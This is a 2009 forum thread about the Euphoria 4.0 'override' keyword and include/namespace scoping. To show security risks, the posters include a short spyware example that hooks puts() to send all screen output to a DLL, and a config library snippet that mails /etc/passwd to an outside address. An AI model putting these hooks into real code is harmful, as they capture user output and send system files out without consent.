1. override keyword?
- Posted by jcmarsh1 Jan 03, 2009
- 1016 views
I'd like to hear feedback from the developers about this one.
In reading the v4.0 documentation I came across the "override" keyword.
How is the "override" keyword implemented? There could be a security problem if an external application can arbitrarily insert a global override in the bit code version of the interpreted app on disk or in memory. This could effectively be a hook into the program from a (potentially) malicious program.
I would like my interpreted apps to run safely and securely, and to mention the potential risk. For instance if this is the case, a global hook could be created to redirect all output to the screen to a listener application for spyware.
This would be possible if a program "infected" files with:
without warning constant spyware = open_dll("c:\\program files\\spyware dir\\spy.dll") -- or "spy.so" constant pqrt = define_c_proc(spyware, {C_UINT,C_INT}) override procedure puts(integer channel,sequence text) atom a = allocate(length(text)) poke(a, text) c_proc(pqrt,{a,length(text)}) -- see how hard it could be to check for, one might miss it. free(a) eu:puts(channel, text) end procedure
I don't want to criticize, but I am writing this to point out the danger. I am just concerned as the Euphoria Interpreter becomes more popular. If a bot inserted this into a main file's il, whether on disk or in memory, it could have access to all standard output from that program. If a Euphoria directory was infected, the problem could be much worse.
I would recommend that final versions of projects be translated into C and compiled before mass distribution to avoid this problem on client machines.
I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.
Perhaps this could be implemented in a "listrtns" or similar program.
Once you mass produce, you must worry about variations and the spread of viruses.
2. Re: override keyword?
- Posted by jeremy (admin) Jan 03, 2009
- 985 views
Here is the way things worked pre 4.0:
procedure puts(integer fh, object item) puts(fh, "I am an overriden procedure\n") puts(fh, item) end procedure puts(1, "Hello, World!\n")
The above program would print:
I am an overriden procedure! Hello, World!
So. If you used a library ABC.e that redefined the puts() procedure, simply by naming it the same name, you could have code that you did not intend on running, running.
The new way of doing this does not make it any safer but makes it harder to accidentally overwrite an internal:
procedure puts(...)
would not override the internal puts procedure.
override procedure puts(...)
would override the internal puts procedure.
You have always been able to override but in 4.0 it is explicit vs. 3.x it was the default.
Jeremy
3. Re: override keyword?
- Posted by jeremy (admin) Jan 03, 2009
- 1033 views
Oh, I also want to point out that any time you use code that you do not check or a dll that you do not check, you are vulnerable. Let's say you want to read a config file and I write a config.e library.
-- config.e public function read_config(sequence filename) mail("me@me.com", "/etc/passwd") -- code that reads the config return config end function
So, you do not have to override an internal function to introduce security problems. This is the problem with any 3rd party code in any language.
Jeremy
4. Re: override keyword?
- Posted by jimcbrown (admin) Jan 03, 2009
- 1058 views
Here is the way things worked pre 4.0:
procedure puts(integer fh, object item) puts(fh, "I am an overriden procedure\n") puts(fh, item) end procedure puts(1, "Hello, World!\n")
Minor pendantic note: pre 4.0 worked like this
procedure old_puts(integer fh, object item) puts(fh, item) -- puts below hasn't been defined yet, so this resolved to the builtin end procedure procedure puts(integer fh, object item) old_puts(fh, "I am an overriden procedure\n") old_puts(fh, item) -- calls the builtin puts() indirectly through old_puts() end procedure puts(1, "Hello, World!\n") -- puts() now resolves to the procedure above.
This is different:
procedure puts(integer fh, object item) puts(fh, "I am an overriden procedure\n") -- this puts() resolves to the procedure that the statement is inside of - so puts() is calling itself recursively here. In this case it will do so infinitely, or at least until the stack overflows or we run out of memory. puts(fh, item) end procedure
I'm not sure if the old way will work in 4.0 since we have forward referencing now, so the "didn't resolve it yet so it must mean the builtin" trick may no longer apply.
5. Re: override keyword?
- Posted by jeremy (admin) Jan 03, 2009
- 986 views
I meant to have:
override puts(...) eu:puts(...) eu:puts(...) end ...
Jeremy
6. Re: override keyword?
- Posted by jcmarsh1 Jan 03, 2009
- 1002 views
Oh, I also want to point out that any time you use code that you do not check or a dll that you do not check, you are vulnerable. Let's say you want to read a config file and I write a config.e library.
-- config.e public function read_config(sequence filename) mail("me@me.com", "/etc/passwd") -- code that reads the config return config end function
So, you do not have to override an internal function to introduce security problems. This is the problem with any 3rd party code in any language.
Jeremy
Thank you for confirming about checking the source file of any library that you use. I already knew that ANY language is vulnerable to attack. The problem is that most virus checkers only check an executable and do not recognize scripts in uncommon languages. Since Euphoria can be run as an executable in script form, mass distributions of programs whose source is in Euphoria should still be translated to C so that virus checkers can properly address any virus problem they might have. It is up to the programmer to protect his or her own source files.
I'd like to point out that "-STRICT" command line switch enables all warning, such as the warning about over-ridden built-in functions.
Docs say about -STRICT
2.8 Command line switches
-STRICT
"This turns on all warnings, overriding any with/without warning statement found in the source."
7. Re: override keyword?
- Posted by mattlewis (admin) Jan 03, 2009
- 1018 views
I'd like to hear feedback from the developers about this one.
...
I don't want to criticize, but I am writing this to point out the danger. I am just concerned as the Euphoria Interpreter becomes more popular. If a bot inserted this into a main file's il, whether on disk or in memory, it could have access to all standard output from that program. If a Euphoria directory was infected, the problem could be much worse.
[Channeling Raymond Chen] I think that the situation you've described is not really a security issue for euphoria. If an attacker can modify files and put in malicious dlls, then you've already lost. They could just as easily infect some other aspect of your system.
I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.
What is a "non-standard" dll? Also, since open_dll takes a sequence, there's no guarantee about what is passed to it, since the sequence could be generated at run time. I'd expect this for a system that used plug-ins, for instance. In any case, it sounds like something that might have a place in dis.ex, which is more or less a static code analyzer. It doesn't really do any checks currently, but it can tell you a lot about the high level and low level structure of euphoria code.
Matt
8. Re: override keyword?
- Posted by SDPringle Jan 04, 2009
- 975 views
It's funny I want to do just what is being described here. inside xalloc.e
override function call_back(atom a) return xcall_back( a ) end function
Now, I want to prepare this replacement so the user can modify his application file to use it instead of modifying the win32lib source
--- myapp.exw --- include xalloc.e include win32lib.ew . .
However, this does not work win32lib.ew uses call_back from call_back() in dll.e even though it is declared as override in xalloc.e.
Now, I can override in 3.1 using the mechanism laid out here previously and win32lib.ew still uses dll.e's call_back().
Save modifying the source, every instance of call_back() has to be replaced with xcall_back inside the offending files. Or I suppose if I put xalloc.e inside win32lib.ew should win32lib.ew use xalloc.e's call_back?
Shawn Pringle
Now, call_back() is a global yet, even though
9. Re: override keyword?
- Posted by mattlewis (admin) Jan 04, 2009
- 962 views
However, this does not work win32lib.ew uses call_back from call_back() in dll.e even though it is declared as override in xalloc.e.
Exactly. override only applies to built in routines.
Now, call_back() is a global yet, even though
No it isn't:
public function call_back(object id)
Unless you're looking at the 3.1 includes, in which case, of course it is.
Matt
10. Re: override keyword?
- Posted by jcmarsh1 Jan 04, 2009
- 975 views
<snip>
I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.
What is a "non-standard" dll? Also, since open_dll takes a sequence, there's no guarantee about what is passed to it, since the sequence could be generated at run time. I'd expect this for a system that used plug-ins, for instance. In any case, it sounds like something that might have a place in dis.ex, which is more or less a static code analyzer. It doesn't really do any checks currently, but it can tell you a lot about the high level and low level structure of euphoria code.
Matt
I meant to say one that would list the Venders of the *.dlls and *.so that are dynamically linked to by "open_dll" as a tool for the programmer.
11. Re: override keyword?
- Posted by SDPringle Jan 04, 2009
- 986 views
I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.
Shawn Pringle
12. Re: override keyword?
- Posted by jcmarsh1 Jan 04, 2009
- 987 views
It's funny I want to do just what is being described here. inside xalloc.e <snip>
I used this for xalloc.e to work in my main file:
function call_back(object id) -- enable DEP denied API call_backs return xcall_back(id) end function
I think the problem is scope. An include statement in a source file immediately overrides any other identifiers that were declared in the file that includes that file.
Say file1.exw includes file2.e that includes misc.e
pretty_print() if declared in file1.exw will not override pretty_print() for file2.e declared in misc.e
That means, sadly, you will have to update the source in "file2.e"
13. Re: override keyword?
- Posted by jcmarsh1 Jan 04, 2009
- 1001 views
I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.
Shawn Pringle
Or you could try
include dll.e as dll include xalloc.e -- scope of call_back() will default to this one ... call_back() -- declared in xalloc dll:call_back() -- declared in dll.e
This will set the "default" function within a "class" file or euphoria file to the desired one, but that would only work for v3.0 on I think. There also is a way to set default namespaces from within v4.0 include files, and also to promote the scope of an include file to the next higher level, with keywords:
2.7.1 include
<snip>
Some Examples:
include std/graphics.e include \mylib\myroutines.e public include library.e
If public precedes the include statement, then all public identifiers from the included file will also be visible to the including file, and visible to any file that includes the current file.
2.4.2.4 The visibility of public and export identifiers If a file is included by an application's main file, but needs to see the public or exported identifiers in that file, it must include its parent file.
The public and export qualifiers seem overly rigid, since changing the repartition of identifiers among files, perhaps as the result of splitting up one of them, will change the visibility of this identifier.
To alleviate this, a variant of the include statement was introduced, called public include. If a file public includes another, it will see all the identifiers that the included file sees. This amounts to propagating identifiers marked as public one level up in the file hierarchy. Note that source file systems may not form a true hierarchy - they would with a simpler system like older versions were using.
The public include mechanism was also meant to be used by libraries that have multiple files. That way, symbols meant for the end user can be declared in files other than the main file, and the library can still be organized however the author prefers without affecting the end user.
14. Re: override keyword?
- Posted by mattlewis (admin) Jan 04, 2009
- 1015 views
- Last edited Jan 05, 2009
I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.
Shawn Pringle
Or you could try
include dll.e as dll include xalloc.e -- scope of call_back() will default to this one ... call_back() -- declared in xalloc dll:call_back() -- declared in dll.e
This will set the "default" function within a "class" file or euphoria file to the desired one, but that would only work for v3.0 on I think. There also is a way to set default namespaces from within v4.0 include files, and also to promote the scope of an include file to the next higher level, with keywords:
This will not work in either euphoria 3 or 4. Using the unqualified call_back will result in an error in both versions. Namespaces in euphoria are never required to access a symbol in the way that C namespaces do. They are only used to deconflict name clashes.
Matt